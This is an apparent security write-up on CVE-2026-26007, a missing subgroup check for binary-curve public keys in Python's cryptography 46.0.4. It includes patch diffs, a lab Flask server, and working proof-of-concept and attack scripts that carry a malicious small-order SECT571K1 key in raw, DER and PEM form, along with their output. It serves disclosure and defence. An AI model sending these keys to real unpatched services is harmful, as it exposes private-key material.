CVE-2026-26007

Understanding how malicious binary-curve public keys were accepted due to missing subgroup validation in `cryptography` 46.0.4.

Introduction

cryptography is one of the most widely used Python cryptography libraries, and it is widely used by web applications, API services, SSH tooling, token systems, certificate tooling, and PKI workflows. Prior to 46.0.5, cryptography did not fully verify prime-order subgroup membership when constructing certain public keys on binary SECT* curves. This allowed attacker-supplied small-subgroup points to be accepted through affected public-key construction paths, creating ECDH key-leakage risk and ECDSA forgery risk in the small-subgroup setting.

The practically affected public entry points demonstrated by the patch/tests include:

  • ec.EllipticCurvePublicNumbers.public_key()
  • ec.EllipticCurvePublicKey.from_encoded_point()
  • serialization.load_der_public_key()
  • serialization.load_pem_public_key()

The issue was fixed in 46.0.5 on February 10, 2026 by commit 0eebb9dbb6343d9bc1d91e5a2482ed4e054a6d8c:

EC check key on cofactor > 1 (#14287)

Environment Setup

We set up two local folders, one pinned to the vulnerable release and one pinned to the patched release, both using uv:

uv init vuln
cd vuln
uv add cryptography==46.0.4 flask requests
cd ..

uv init patch
cd patch
uv add cryptography==46.0.5 flask requests
cd ..

This gives us:

  • vuln/ with cryptography==46.0.4
  • patch/ with cryptography==46.0.5

To make the impact easier to understand in an application context, a small Flask-based handshake server was added in both environments. The server accepts a client-supplied EC public key, constructs it through one of the affected APIs, and then performs ECDH with a fixed server private key:

server.py

from cryptography import __version__
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.utils import CryptographyDeprecationWarning
from flask import Flask, jsonify, request
import binascii, os, warnings
warnings.filterwarnings("ignore", category=CryptographyDeprecationWarning)

app = Flask(__name__)
CURVE = ec.SECT571K1()
PRIVATE_SCALAR = int(os.environ.get("SERVER_PRIVATE_SCALAR", "7"))
SERVER_PRIVATE_KEY = ec.derive_private_key(PRIVATE_SCALAR, CURVE)

def _load_peer_key(api, payload):
    if api == "numbers":
        return ec.EllipticCurvePublicNumbers(
            int(payload["x"]),
            int(payload["y"]),
            CURVE,
        ).public_key()
    if api == "point":
        return ec.EllipticCurvePublicKey.from_encoded_point(
            CURVE,
            binascii.unhexlify(payload["data"]),
        )
    if api == "der":
        return serialization.load_der_public_key(binascii.unhexlify(payload["data"]))
    if api == "pem":
        return serialization.load_pem_public_key(payload["data"].encode())
    raise ValueError(f"unsupported api: {api}")

@app.get("/")
def index():
    return jsonify(
        {
            "service": "ecdh-handshake-lab",
            "version": __version__,
            "curve": CURVE.name,
            "private_scalar_hint": "set SERVER_PRIVATE_SCALAR to change the lab key",
            "endpoints": ["/handshake"],
        }
    )

@app.post("/handshake")
def handshake():
    payload = request.get_json(force=True)
    api = payload["api"]
    try:
        peer_key = _load_peer_key(api, payload)
        secret = SERVER_PRIVATE_KEY.exchange(ec.ECDH(), peer_key)
        return jsonify(
            {
                "accepted": True,
                "api": api,
                "version": __version__,
                "curve": CURVE.name,
                "shared_secret": secret.hex(),
            }
        )
    except Exception as exc:
        return (
            jsonify(
                {
                    "accepted": False,
                    "api": api,
                    "version": __version__,
                    "curve": CURVE.name,
                    "error": f"{type(exc).__name__}: {exc}",
                }
            ),
            400,
        )

if __name__ == "__main__":
    app.run(
        host=os.environ.get("HOST", "127.0.0.1"),
        port=int(os.environ.get("PORT", "5004")),  # change this
        debug=False,
    )

We can run this in both environments by changing the port the server runs on. In a real application the server would not return the shared secret. This returns it only to make the weakness observable.

Technical Overview

As explained in the advisory and confirmed by the patch, this is not a generic DER or PEM parsing bug. It is a subgroup-validation bug.

For an elliptic-curve group of size h * n:

  • n is the large prime-order subgroup used for normal ECDH and ECDSA
  • h is the cofactor
  • if h == 1, every non-infinity point on the curve is already in the right subgroup
  • if h > 1, small-order points exist and must be rejected

That is why only the binary SECT* curves are affected here. Using openssl ecparam -name <NAME> -param_enc explicit -text -noout, the impacted curves exposed by cryptography have these cofactors:

  • Cofactor 2: SECT163K1, SECT163R2, SECT233R1, SECT283R1, SECT409R1, SECT571R1
  • Cofactor 4: SECT233K1, SECT283K1, SECT409K1, SECT571K1

Usage of the aforementioned openssl command to check cofactors

The affected cases here are the binary SECT* curves. Common prime-field curves such as secp256r1 are unaffected because their cofactor is 1, so they do not require this extra subgroup-membership check. The fix commit also explicitly notes that ed25519 and ed448 are not affected even though they have cofactors greater than 1, because they use a different code path.

In the vulnerable implementation, the EC public-key constructors in src/rust/src/backend/ec.rs only enforced partial validation. 46.0.4 checked that the point could be parsed, that it was on the selected curve, and that it was not the point at infinity. It did not check that the point belonged to the expected prime-order subgroup.

The first relevant patch chunk is the change to public_key_from_pkey(). Instead of constructing ECPublicKey directly, the patched version routes it through a shared constructor:

Diff for public_key_from_pkey() routing through ECPublicKey::new

@@ -135,12 +135,10 @@ pub(crate) fn public_key_from_pkey(
 ) -> CryptographyResult<ECPublicKey> {
     let ec = pkey.ec_key()?;
     let curve = py_curve_from_curve(py, ec.group())?;
-    check_key_infinity(&ec)?;
-    Ok(ECPublicKey {
-        pkey: pkey.to_owned(),
-        curve: curve.into(),
-    })
+
+    ECPublicKey::new(pkey.to_owned(), curve.into())
 }

This also updates from_public_bytes() so EllipticCurvePublicKey.from_encoded_point() goes through the same validation gate:

Diff for from_public_bytes()

@@ -198,10 +196,7 @@ fn from_public_bytes(
     let ec = openssl::ec::EcKey::from_public_key(&curve, &point)?;
     let pkey = openssl::pkey::PKey::from_ec_key(ec)?;
 
-    Ok(ECPublicKey {
-        pkey,
-        curve: py_curve.into(),
-    })
+    ECPublicKey::new(pkey, py_curve.into())
 }

The core fix is the newly added ECPublicKey::new(...), which centralizes the cofactor-aware validation:

New shared constructor that checks the curve cofactor and runs ec.check_key()

+impl ECPublicKey {
+    fn new(
+        pkey: openssl::pkey::PKey<openssl::pkey::Public>,
+        curve: pyo3::Py<pyo3::PyAny>,
+    ) -> CryptographyResult<ECPublicKey> {
+        let ec = pkey.ec_key()?;
+        check_key_infinity(&ec)?;
+        let mut bn_ctx = openssl::bn::BigNumContext::new()?;
+        let mut cofactor = openssl::bn::BigNum::new()?;
+        ec.group().cofactor(&mut cofactor, &mut bn_ctx)?;
+        let one = openssl::bn::BigNum::from_u32(1)?;
+        if cofactor != one {
+            ec.check_key().map_err(|_| {
+                pyo3::exceptions::PyValueError::new_err(
+                    "Invalid EC key (key out of range, infinity, etc.)",
+                )
+            })?;
+        }
+
+        Ok(ECPublicKey { pkey, curve })
+    }
+}

That cofactor != 1 branch is the key design choice:

  • for cofactor-1 curves, no extra subgroup-membership check is needed
  • for cofactor-2 and cofactor-4 binary curves, ec.check_key() rejects malicious small-subgroup points before they can be used

The third constructor path, EllipticCurvePublicNumbers.public_key(), is also rewired to the new shared gate:

EllipticCurvePublicNumbers.public_key() now also routes through ECPublicKey::new

@@ -606,10 +624,7 @@ impl EllipticCurvePublicNumbers {
 
         let pkey = openssl::pkey::PKey::from_ec_key(public_key)?;
 
-        Ok(ECPublicKey {
-            pkey,
-            curve: self.curve.clone_ref(py),
-        })
+        ECPublicKey::new(pkey, self.curve.clone_ref(py))
     }

The higher-level serialization loaders are not separate special cases. In src/rust/src/backend/keys.rs, both loaders dispatch into the same EC construction path:

#[pyo3::pyfunction]
#[pyo3(signature = (data, backend=None))]
fn load_der_public_key<'p>(
    ...
    load_der_public_key_bytes(py, data.as_bytes())
}

pub(crate) fn load_der_public_key_bytes<'p>(
    ... {
        Ok(pkey) => public_key_from_pkey(py, &pkey, pkey.id()),
        Err(e) => {
            let pkey = cryptography_key_parsing::rsa::parse_pkcs1_public_key(data).map_err(|_| e)?;
            public_key_from_pkey(py, &pkey, pkey.id())
        }
    }
}

#[pyo3::pyfunction]
#[pyo3(signature = (data, backend=None))]
fn load_pem_public_key<'p>(
    ...
    public_key_from_pkey(py, &pkey, pkey.id())
}

fn public_key_from_pkey<'p>(
    ... {
        ...
        openssl::pkey::Id::EC => Ok(crate::backend::ec::public_key_from_pkey(py, pkey)?
            .into_pyobject(py)?
            .into_any()),
        ...
    }
}

That means once backend::ec::public_key_from_pkey() was fixed, load_der_public_key() and load_pem_public_key() inherited the protection automatically.

The ECDH impact is especially clear on OpenSSL 3.x because the exchange path explicitly trusts the key object to have been validated already:

Code showcasing OpenSSL 3.x path

So in 46.0.4, once a malicious binary-curve key made it into an ECPublicKey, the OpenSSL 3.x exchange path would happily multiply the victim private scalar by that attacker-chosen point.

The regression test added by the patch is also very clear: it uses the same malicious SECT571K1 point and verifies that all four public APIs now reject it.

Regression test that rejects the malicious SECT571K1 key in all affected APIs

+def test_invalid_sect_public_keys(backend):
+    _skip_curve_unsupported(backend, ec.SECT571K1())
+    public_numbers = ec.EllipticCurvePublicNumbers(1, 1, ec.SECT571K1())
+    with pytest.raises(ValueError):
+        public_numbers.public_key()
+
+    point = binascii.unhexlify(...)
+    with pytest.raises(ValueError):
+        ec.EllipticCurvePublicKey.from_encoded_point(ec.SECT571K1(), point)
+
+    der = binascii.unhexlify(...)
+    with pytest.raises(ValueError):
+        serialization.load_der_public_key(der)
+
+    pem = textwrap.dedent(...).encode()
+    with pytest.raises(ValueError):
+        serialization.load_pem_public_key(pem)

The same commit also deprecates every SECT* curve in src/cryptography/hazmat/primitives/asymmetric/ec.py, which is sensible hardening because these binary curves are quite uncommon in modern deployments.

Proof of Concept

We can compare 46.0.4 and 46.0.5 using the same malicious SECT571K1 public key. The goal is to show that the vulnerable version accepts an invalid binary curve public key through all affected APIs, while the patched version rejects it.

main.py

This script tests four public entry points demonstrated by the patch and regression tests:

  • EllipticCurvePublicNumbers.public_key(),
  • EllipticCurvePublicKey.from_encoded_point(),
  • serialization.load_der_public_key(),
  • serialization.load_pem_public_key(),

The values POINT, DER, and PEM all represent the same malicious public key in different formats. If one constructor accepts the key, the script then performs ECDH with several sample private scalars to observe whether the derived secret behaves normally.

from cryptography import __version__
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.utils import CryptographyDeprecationWarning
import binascii, textwrap, warnings
warnings.filterwarnings("ignore", category=CryptographyDeprecationWarning)

CURVE = ec.SECT571K1()
POINT = binascii.unhexlify(
    b"0400000000000000000000000000000000000000000000000000000000000000000"
    b"0000000000000000000000000000000000000000000000000000000000000000000"
    b"0000000000010000000000000000000000000000000000000000000000000000000"
    b"0000000000000000000000000000000000000000000000000000000000000000000"
    b"0000000000000000000001"
)

DER = binascii.unhexlify(
    b"3081a7301006072a8648ce3d020106052b810400260381920004000000000000000"
    b"0000000000000000000000000000000000000000000000000000000000000000000"
    b"0000000000000000000000000000000000000000000000000000000000000100000"
    b"0000000000000000000000000000000000000000000000000000000000000000000"
    b"0000000000000000000000000000000000000000000000000000000000000000000"
    b"00001"
)

PEM = textwrap.dedent(
    """\
    -----BEGIN PUBLIC KEY-----
    MIGnMBAGByqGSM49AgEGBSuBBAAmA4GSAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAE=
    -----END PUBLIC KEY-----
    """
).encode()

def ecdh_leakage_sample(public_key, label):
    print(f"\necdh leakage sample via {label}:")
    for scalar in range(1, 9):
        private_key = ec.derive_private_key(scalar, CURVE)
        try:
            secret = private_key.exchange(ec.ECDH(), public_key)
            print(f"d={scalar}: shared_secret={secret.hex()}")
        except Exception as exc:
            print(f"d={scalar}: error={type(exc).__name__}: {exc}")

def main():
    print(f"cryptography={__version__}")
    print(f"curve={CURVE.name}")
    print("\naffected api results:")

    constructors = {
        "EllipticCurvePublicNumbers.public_key": (
            lambda: ec.EllipticCurvePublicNumbers(1, 1, CURVE).public_key()
        ),
        "EllipticCurvePublicKey.from_encoded_point": (
            lambda: ec.EllipticCurvePublicKey.from_encoded_point(CURVE, POINT)
        ),
        "serialization.load_der_public_key": (
            lambda: serialization.load_der_public_key(DER)
        ),
        "serialization.load_pem_public_key": (
            lambda: serialization.load_pem_public_key(PEM)
        ),
    }

    accepted_any = False
    for name, constructor in constructors.items():
        try:
            public_key = constructor()
            accepted_any = True
            print(f"{name}: accepted")
            ecdh_leakage_sample(public_key, name)
        except Exception as exc:
            print(f"{name}: rejected -> {type(exc).__name__}: {exc}")

    if not accepted_any:
        print("\nno malicious public key instance was accepted")

    # expected pattern on 46.0.4 for each accepted constructor:
    # d % 4 in {1, 3} -> same shared secret
    # d % 4 == 2 -> different shared secret
    # d % 4 == 0 -> multiplication reaches infinity and exchange fails

if __name__ == "__main__":
    main()

46.0.4 (Vulnerable)

In the vulnerable version, all four APIs accept the malicious key. The ECDH results then show repeated outputs for different private scalars, which indicates that the computation is happening in a small subgroup instead of the intended large prime-order subgroup. In this lab, the malicious point behaves as a small-order point, so the shared secret depends only on the private scalar modulo that small subgroup order. That is why several different scalars collapse to the same output, while multiples of the subgroup order cause the multiplication to reach the point at infinity and make the exchange fail. This demonstrates the practical impact of the missing subgroup validation.

> uv run main.py
cryptography=46.0.4
curve=sect571k1

affected api results:
EllipticCurvePublicNumbers.public_key: accepted

ecdh leakage sample via EllipticCurvePublicNumbers.public_key:
d=1: shared_secret=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001
d=2: shared_secret=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
d=3: shared_secret=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001
d=4: error=ValueError: Error computing shared key.
d=5: shared_secret=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001
d=6: shared_secret=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
d=7: shared_secret=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001
d=8: error=ValueError: Error computing shared key.
EllipticCurvePublicKey.from_encoded_point: accepted

ecdh leakage sample via EllipticCurvePublicKey.from_encoded_point:
d=1: shared_secret=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001
d=2: shared_secret=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
d=3: shared_secret=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001
d=4: error=ValueError: Error computing shared key.
d=5: shared_secret=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001
d=6: shared_secret=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
d=7: shared_secret=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001
d=8: error=ValueError: Error computing shared key.
serialization.load_der_public_key: accepted

ecdh leakage sample via serialization.load_der_public_key:
d=1: shared_secret=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001
d=2: shared_secret=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
d=3: shared_secret=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001
d=4: error=ValueError: Error computing shared key.
d=5: shared_secret=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001
d=6: shared_secret=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
d=7: shared_secret=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001
d=8: error=ValueError: Error computing shared key.
serialization.load_pem_public_key: accepted

ecdh leakage sample via serialization.load_pem_public_key:
d=1: shared_secret=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001
d=2: shared_secret=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
d=3: shared_secret=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001
d=4: error=ValueError: Error computing shared key.
d=5: shared_secret=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001
d=6: shared_secret=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
d=7: shared_secret=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001
d=8: error=ValueError: Error computing shared key.

46.0.5 (Patched)

In this version, all four APIs reject the same malicious key with ValueError. Because the key is blocked during construction, the script never reaches the ECDH step. This shows that the fix successfully closes the vulnerable public key construction paths.

> uv run main.py
cryptography=46.0.5
curve=sect571k1

affected api results:
EllipticCurvePublicNumbers.public_key: rejected -> ValueError: Invalid EC key (key out of range, infinity, etc.)
EllipticCurvePublicKey.from_encoded_point: rejected -> ValueError: Invalid EC key (key out of range, infinity, etc.)
serialization.load_der_public_key: rejected -> ValueError: Invalid EC key (key out of range, infinity, etc.)
serialization.load_pem_public_key: rejected -> ValueError: Invalid EC key (key out of range, infinity, etc.)

no malicious public key instance was accepted

attack.py

This script demonstrates the same issue in our small Flask-based handshake server. It sends the malicious payloads to two instances of server.py, where one runs 46.0.4 and the other runs 46.0.5. Unlike main.py, which shows the small-subgroup behavior across multiple private scalars, this script focuses on the application-facing effect: the vulnerable server accepts attacker-controlled public keys and proceeds to ECDH, while the patched server rejects them during key construction.

import requests, binascii, textwrap

POINT = binascii.unhexlify(
    b"0400000000000000000000000000000000000000000000000000000000000000000"
    b"0000000000000000000000000000000000000000000000000000000000000000000"
    b"0000000000010000000000000000000000000000000000000000000000000000000"
    b"0000000000000000000000000000000000000000000000000000000000000000000"
    b"0000000000000000000001"
)
DER = binascii.unhexlify(
    b"3081a7301006072a8648ce3d020106052b810400260381920004000000000000000"
    b"0000000000000000000000000000000000000000000000000000000000000000000"
    b"0000000000000000000000000000000000000000000000000000000000000100000"
    b"0000000000000000000000000000000000000000000000000000000000000000000"
    b"0000000000000000000000000000000000000000000000000000000000000000000"
    b"00001"
)
PEM = textwrap.dedent(
    """\
    -----BEGIN PUBLIC KEY-----
    MIGnMBAGByqGSM49AgEGBSuBBAAmA4GSAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAE=
    -----END PUBLIC KEY-----
    """
)

def _post_json(url, payload):
    response = requests.post(url, json=payload)
    return response.status_code, response.json()

def main():
    payloads = {
        "numbers": {"api": "numbers", "x": 1, "y": 1},
        "point": {"api": "point", "data": POINT.hex()},
        "der": {"api": "der", "data": DER.hex()},
        "pem": {"api": "pem", "data": PEM},
    }

    targets = {
        "vuln": "http://127.0.0.1:5004/handshake",
        "patch": "http://127.0.0.1:5005/handshake",
    }

    for label, url in targets.items():
        print(f"\n[{label}] {url}")
        for api, payload in payloads.items():
            status, response = _post_json(url, payload)
            if response["accepted"]:
                print(
                    f"{api}: status={status} accepted={response['accepted']} "
                    f"version={response['version']} "
                    f"secret={response['shared_secret']}"
                )
            else:
                print(
                    f"{api}: status={status} accepted={response['accepted']} "
                    f"version={response['version']} "
                    f"error={response['error']}"
                )

if __name__ == "__main__":
    main()

Results

The results are consistent with the standalone local tests. The vulnerable server accepts all payloads and returns a secret, while the patch server rejects all of them with an invalid EC key error.

> python attack.py

[vuln] http://127.0.0.1:5004/handshake
numbers: status=200 accepted=True version=46.0.4 secret=0000000000000000...0000000000000001
point: status=200 accepted=True version=46.0.4 secret=0000000000000000...0000000000000001
der: status=200 accepted=True version=46.0.4 secret=0000000000000000...0000000000000001
pem: status=200 accepted=True version=46.0.4 secret=0000000000000000...0000000000000001

[patch] http://127.0.0.1:5005/handshake
numbers: status=400 accepted=False version=46.0.5 error=ValueError: Invalid EC key (key out of range, infinity, etc.)
point: status=400 accepted=False version=46.0.5 error=ValueError: Invalid EC key (key out of range, infinity, etc.)
der: status=400 accepted=False version=46.0.5 error=ValueError: Invalid EC key (key out of range, infinity, etc.)
pem: status=400 accepted=False version=46.0.5 error=ValueError: Invalid EC key (key out of range, infinity, etc.)

Remediation

Upgrade to cryptography 46.0.5 or later. In addition, avoid SECT* binary curves unless you have a strong compatibility requirement, since they were deprecated in 46.0.5 and are slated for removal in the next release stream. Applications that accept external EC public keys for ECDH or ECDSA should ensure those keys are parsed only by patched library versions, especially if SECT* curves are still enabled.

References

NVD entry:

https://nvd.nist.gov/vuln/detail/CVE-2026-26007

GitHub Advisory:

https://github.com/pyca/cryptography/security/advisories/GHSA-r6ph-v2qm-q3c2

GitHub commit:

https://github.com/pyca/cryptography/commit/0eebb9dbb6343d9bc1d91e5a2482ed4e054a6d8c

Changelog:

https://cryptography.io/en/stable/changelog/

Release announcement:

https://www.openwall.com/lists/oss-security/2026/02/10/4